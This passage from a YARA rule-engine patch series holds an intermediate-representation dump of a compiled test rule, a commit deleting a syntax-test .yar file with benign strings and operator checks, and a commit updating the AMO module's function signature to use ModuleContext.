GT -- hash: 0xe14c02d2ca38c7fe + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 7: CONST integer(0) + 13: GT -- hash: 0x92f8c6f7e54b02b8 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 9: CONST integer(0) + 10: CONST integer(100) + 12: CONST integer(0) + 16: GT -- hash: 0x2c7be90e3169df71 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 15: CONST integer(0) + 20: GT -- hash: 0x8bb5a93875bc3546 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 17: CONST integer(1) + 19: CONST integer(0) + 23: GT -- hash: 0x77abcf49989af6e3 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 22: CONST integer(0) + 27: GT -- hash: 0xf87b38b95dae2020 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 24: CONST integer(1) + 26: CONST integer(0) + 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: integer, index: 4 } + 34: AND -- hash: 0x3c966b1c6d560e68 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 29: CONST integer(0) + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 31: CONST integer(0) + 32: CONST integer(100) + 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + n: Var { frame_id: 2, ty: integer, index: 0 } + i: Var { frame_id: 2, ty: integer, index: 1 } + max_count: Var { frame_id: 2, ty: integer, index: 2 } + count: Var { frame_id: 2, ty: integer, index: 3 } + item: Var { frame_id: 2, ty: integer, index: 4 } + 44: AND -- hash: 0xce850009289685a8 + 38: GT -- hash: 0xadc66c0f48e750e7 + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 37: CONST integer(0) + 43: GT -- hash: 0x84e68ea465523c78 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 39: CONST integer(0) + 40: CONST integer(100) + 42: CONST integer(0) + 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + n: Var { frame_id: 3, ty: integer, index: 0 } + i: Var { frame_id: 3, ty: integer, index: 1 } + max_count: Var { frame_id: 3, ty: integer, index: 2 } + count: Var { frame_id: 3, ty: integer, index: 3 } + item: Var { frame_id: 3, ty: integer, index: 4 } + 53: AND -- hash: 0xada51cbb798a9af6 + 48: GT -- hash: 0xeeaeb61296e7af4e + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 47: CONST integer(0) + 52: GT -- hash: 0x77ae50bc98adf661 + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 49: CONST integer(1) + 51: CONST integer(0) + 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + n: Var { frame_id: 4, ty: integer, index: 0 } + i: Var { frame_id: 4, ty: integer, index: 1 } + max_count: Var { frame_id: 4, ty: integer, index: 2 } + count: Var { frame_id: 4, ty: integer, index: 3 } + item: Var { frame_id: 4, ty: integer, index: 4 } + 62: AND -- hash: 0xdde6046be314cfab + 57: GT -- hash: 0x2f970015e0e80db6 + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 56: CONST integer(0) + 61: GT -- hash: 0x95f4118d25b93df3 + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 58: CONST integer(1) + 60: CONST integer(0) + 65: FOR_OF -- hash: 0xe716d23849fe7860 + n: Var { frame_id: 5, ty: integer, index: 0 } + i: Var { frame_id: 5, ty: integer, index: 1 } + max_count: Var { frame_id: 5, ty: integer, index: 2 } + count: Var { frame_id: 5, ty: integer, index: 3 } + item: Var { frame_id: 5, ty: integer, index: 4 } + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c + 68: OF -- hash: 0xd907e19beae11f88 + 67: CONST boolean(false) + 66: CONST boolean(true) + 69: OF -- hash: 0xc1af08cf16d07e7 + 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + n: Var { frame_id: 8, ty: integer, index: 0 } + i: Var { frame_id: 8, ty: integer, index: 1 } + max_count: Var { frame_id: 8, ty: integer, index: 2 } + count: Var { frame_id: 8, ty: integer, index: 3 } + item: Var { frame_id: 8, ty: integer, index: 4 } + 70: CONST integer(1) + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 + 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + n: Var { frame_id: 9, ty: integer, index: 0 } + i: Var { frame_id: 9, ty: integer, index: 1 } + max_count: Var { frame_id: 9, ty: integer, index: 2 } + count: Var { frame_id: 9, ty: integer, index: 3 } + item: Var { frame_id: 9, ty: unknown, index: 4 } + 73: CONST integer(1) + 74: CONST integer(5) + 79: EQ -- hash: 0xe92c004f9190e2ec + 77: ADD -- hash: 0xb9090c9f9899e70f + 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } + 76: CONST integer(1) + 78: CONST integer(2) + 84: NE -- hash: 0x92df6290b941eceb + 82: CONST integer(-2) + 83: CONST integer(0) + 89: EQ -- hash: 0x2772eae3cc6605b3 + 87: CONST integer(0) + 88: CONST integer(0) + 94: EQ -- hash: 0xe620d6a4866ed47d + 92: CONST integer(3) + 93: CONST integer(3) + 99: EQ -- hash: 0xe620d6a4866ed47d + 97: CONST integer(3) + 98: CONST integer(3) + 102: LT -- hash: 0xc2cd260920d8212b + 100: CONST integer(-1) + 101: CONST integer(0) + 107: EQ -- hash: 0x513c32b99dc13a3a + 105: CONST integer(2) + 106: CONST integer(2) + 112: EQ -- hash: 0xa4cec2653c77a348 + 110: CONST integer(6) + 111: CONST integer(6) + 117: EQ -- hash: 0x37b6700f88d99369 + 115: DIV -- hash: 0xe3d346244ff8cc57 + 113: CONST integer(6) + 114: CONST integer(2) + 116: CONST integer(3) + 122: EQ -- hash: 0x1a81b6c621408d88 + 120: MOD -- hash: 0x3b6ad7150dbd77e8 + 118: CONST integer(5) + 119: CONST integer(2) + 121: CONST integer(1) + 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 125: CONST integer(4) + 126: CONST integer(4) + 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 130: CONST integer(4) + 131: CONST integer(4) + 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 133: CONST string("foo") + 134: CONST string("f") + 138: ICONTAINS -- hash: 0x377f84bcc413903b + 136: CONST string("foo") + 137: CONST string("F") + 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 139: CONST string("foo") + 140: CONST string("f") + 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 142: CONST string("foo") + 143: CONST string("F") + 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 145: CONST string("foo") + 146: CONST string("o") + 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 148: CONST string("foo") + 149: CONST string("O") + 153: IEQUALS -- hash: 0x59f750b89300b823 + 151: CONST string("foo") + 152: CONST string("FOO") + 157: CONTAINS -- hash: 0x69900714c5de042c + 154: CONST string("foo") + 156: CONST string("foo") + 161: DEFINED -- hash: 0xc649804070cd56ad + 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 170: EQ -- hash: 0xc86bbac0d41a5b9c + 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 + 166: LOOKUP -- hash: 0xb7e6fdca077aa568 + 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 165: CONST integer(0) + 167: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 169: CONST string(".text") + From 1c788083ea7aa95ed8acddca6a60015888b777eb Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 18:57:32 +0200 Subject: [PATCH 24/25] chore: remove file accidentally committed. --- test.yar | 33 --------------------------------- 1 file changed, 33 deletions(-) delete mode 100644 test.yar diff --git a/test.yar b/test.yar deleted file mode 100644 index d8dd87ec..00000000 --- a/test.yar +++ /dev/null @@ -1,33 +0,0 @@ - global private rule rich_syntax { - meta: - author = "test" - version = 3.14 - strings: - $a = "abc" ascii wide fullword - $b = "cde" base64 - $c = { 01 02 [1-2] ?? } - $d = /reg.*exp/i nocase - condition: - all of them and - any of ($a*) and - filesize > 100 and - (1 << 2) + (8 >> 1) >= 4 and - 1 == 1 and - 2 != 3 and - 4 < 5 and - 6 <= 6 and - 7 > 2 and - "foo" contains "f" and - "bar" icontains "B" and - "baz" startswith "b" - and "qux" istartswith "Q" and - "end" endswith "d" and - "IEND" iendswith "D" and - "eq" iequals "EQ" and - "str" matches /str/ and - not false and none of ($b*) and - (1 & 2) | (3 ^ 4) != ~0 and - 5 % 2 == 1 and - 2 * 3 == 6 and - 1 - 1 == 0 - } From 949330cb088bbe67c6b65ab4b21467ff58291e6a Mon Sep 17 00:00:00 2001 From: William Durand Date: Mon, 29 Jun 2026 10:16:16 +0200 Subject: [PATCH 25/25] Update AMO module signature to use the new ModuleContext param --- lib/src/modules/amo/mod.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/src/modules/amo/mod.rs b/lib/src/modules/amo/mod.rs index c20c7bfa..1ae74ad5 100644 --- a/lib/src/modules/amo/mod.rs +++ b/lib/src/modules/amo/mod.rs @@ -24,8 +24,8 @@ struct ConfigJson { pub manifest: serde_json::Value, } -fn main(_data: &[u8], meta: Option<&[u8]>) -> Result { - let meta = match meta { +fn main(ctx: &mut ModuleContext, _data: &[u8]) -> Result { + let meta = match ctx.get_module_metadata("amo") { None | Some([]) => { set_local(ConfigJson::default()); return Ok(AMO::new());